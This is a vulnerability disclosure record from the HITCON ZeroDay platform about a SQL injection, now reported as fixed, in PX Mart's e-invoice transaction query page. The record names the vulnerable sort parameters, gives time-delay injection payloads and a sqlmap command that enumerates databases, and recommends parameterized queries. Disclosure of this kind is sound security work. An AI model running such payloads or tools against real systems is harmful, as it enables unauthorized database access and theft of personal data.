Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00330
- Vendor: 全聯實業
- Title: 全聯 電子發票服務平台 SQL injection
- Introduction: 系統存在 SQL 注入漏洞,攻擊者可以利用此漏洞獲取數據庫中的敏感資料。
處理狀態
目前狀態
公開
Last Update : 2025/05/18
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2025/04/21 13:27:05 : 新提交 (由 CheN.. 更新此狀態)
- 2025/04/21 14:40:01 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/02 16:19:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/02 16:19:29 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/14 17:55:06 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/05/15 00:07:48 : 確認已修補 (由 CheN.. 更新此狀態)
- 2025/05/18 03:00:12 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2025-00330
- 通報者:SamChen_696 (CheN..)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://b2cinv.tradevan.com.tw/pinvc/private/QueryTrade.aspx
敘述
休息時間買晚餐將電子發票存在福利卡中,結完帳傳送了一封電子郵件給我,看到內容有個”全聯電子發票官網“ 意外發現的站點,想確認自己的發票資訊 於是登入之後順便對網站做了測試
在消費紀錄查詢頁面 送出查詢後會傳送AJAX POST,在手動測試參數 “ctl00$content$lastSortExpression” “ctl00$content$ctl00$content$lastSortDirection” 時,發現存在SQL injection
Payload:延遲5秒
1;WAITFOR DELAY '0:0:5'--
觀察回應時間 延長至5秒
Payload:延遲10秒
1;WAITFOR DELAY '0:0:10'--
觀察回應時間 延長至10秒
多次手動和使用sqlmap工具測試確認存在兩種注入類型:Time‑based blind / Boolean‑based blind
檢測到完整環境資訊
web server operating system: Windows
web application technology: ASP.NET 4.0.30319
back-end DBMS: Microsoft SQL Server 2022
可以列出各資料庫和其表名稱,僅測試到此 無再往下繼續做嘗試
sqlmap -r request2.txt --batch --dbs --tamper=space2comment --random-agent --technique=B -D msdb --tables
修補建議
嚴格檢查和過濾用戶輸入!!!
改用參數化查詢:所有 ORDER BY 與動態 SQL 一律改為 SqlParameter 或 ORM,禁止字串拼接。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。